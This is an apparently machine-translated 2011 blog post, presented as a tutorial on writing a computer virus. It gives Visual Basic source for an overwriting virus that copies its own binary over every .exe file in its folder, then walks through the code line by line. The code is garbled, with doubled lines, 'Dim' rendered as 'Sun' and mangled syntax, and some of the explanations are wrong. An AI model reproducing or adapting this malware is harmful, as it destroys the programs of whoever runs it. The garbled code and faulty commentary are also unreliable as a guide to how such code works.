Work And Earn Money

minute workers

Friday, July 22, 2011

How to create a computer virus''stupid and malicious "- 2nd part



Computer viruses are in many forms with many different functions. Some are rather simplistic and can be detected by the average user while others are complex and go unnoticed for some time. The most common viruses within the classification of file infectors, which work by infecting executable files. They do this by inserting malicious code into an area of ​​the original file, allowing it to be executed each time the file is accessible Some of them are able to completely overwrite a file, making a whole program useless .
This is the case of this type of virus that we see today. Overwritters viruses. I know that the virus overwritters, unfortunately, have no chance to spread and they are not "intelligent". Despite all this overwritters can help you understand the basics of real virus. I'll give you the code first and then we will review it.
-=-=-=-=-=-=-=-=-=- Cut here =-=-=-=-=-=-=-=- =-=-=


 
Option Explicit Option Explicit
 
Dim MyArray () As Byte Sun myarray () As Byte
 
Sun victim As String Dim As String victim
 
Const MySize As Integer = 11776 Const MySize As Integer = 11776

 
Private Sub Form_Load () Private Sub Form_Load ()
 
On Error Resume Next On Error Resume Next
 
Free Free Sun Sun
 
Free = FreeFile Free = FreeFile

 
Open App.Path & "\" & & App.EXEName. "Exe" For Binary Access Read As # Free Open App.Path & "\" & & App.EXEName. "Exe" for Binary Access Read As # Free
 
ReDim myarray (MySize) ReDim MyArray (MySize)
 
Get # 1, 1, myarray myarray Get # 1, 1,
 
Close Close # # Free Free

 
victim = Dir (App.Path & "\" & "*. EXE") victim = Dir (App.Path & "\" & "*. exe")
 
While victim <> "" While victim <> ""

 
Open App.Path & "\" & victim For Binary Access Write As # Free Open App.Path & "\" & victim for binary access write as # Free
 
Put # 1,, myarray Put # 1,, myarray
 
Put # 1,, MySize Put # 1,, MySize
 
Close Close # # Free Free

 
victim = Dir () victim = Dir ()

 
Wend Wend

 
End End
 
End Sub End Sub

  
-=-=-=-=-=-=-=-=-=- Cut here =-=-=-=-=-=-=-=- =-=-=

Decode all this: (yum! J)
 
Option Explicit Option Explicit
 
Dim MyArray () As Byte Sun myarray () As Byte
 
Sun victim As String Dim As String victim
 
Const MySize As Integer = 11776 Const MySize As Integer = 11776 Here, we define the variables we will use the "myarray ()" variable that contains the binary code of the virus, "victim" is the variable that contains the file name of the victim and the "MySize" variable contains the size the virus.
 
Private Sub Form_Load () Private Sub Form_Load ()
 
On Error Resume Next On Error Resume Next We open the subfolder that we will use (Form_Load), and we have our error handle that is to say that in case of error the program will stop there.
 
Free Free Sun Sun
 
Free = FreeFile Free = FreeFile It's a good idea to follow the example of the Y2K virus. This will get rid of the read / write errors because it is open source.
 
Open App.Path & "\" & & App.EXEName. "Exe" For Binary Access Read As # Free Open App.Path & "\" & & App.EXEName. "Exe" for Binary Access Read As # Free
 
ReDim myarray (MySize) ReDim MyArray (MySize)
 
Get # 1, 1, myarray myarray Get # 1, 1,
 
Close Close # # Free Free Now let's get out the binary code of our virus and we store it in the variable "myarray".
 
victim = Dir (App.Path & "\" & "*. EXE") victim = Dir (App.Path & "\" & "*. exe")
 
While victim <> "" While victim <> ""

 
Open App.Path & "\" & victim For Binary Access Write As # Free Open App.Path & "\" & victim for binary access write as # Free
 
Put # 1,, myarray Put # 1,, myarray
 
Put # 1,, MySize Put # 1,, MySize
 
Close Close # # Free Free Here, we define the variable "victim" and we have our binary code in the program of the victim.
 
victim = Dir () victim = Dir ()

 
Wend Wend Then we put the victim at zero, and we repeat the whole process to infect all files. Exe in the current directory.
 
End End
 
End Sub End Sub And finally, we close the program and sub folders. 


***NOTE- This is only for learning,Do not misuse this.

0 comments:

Post a Comment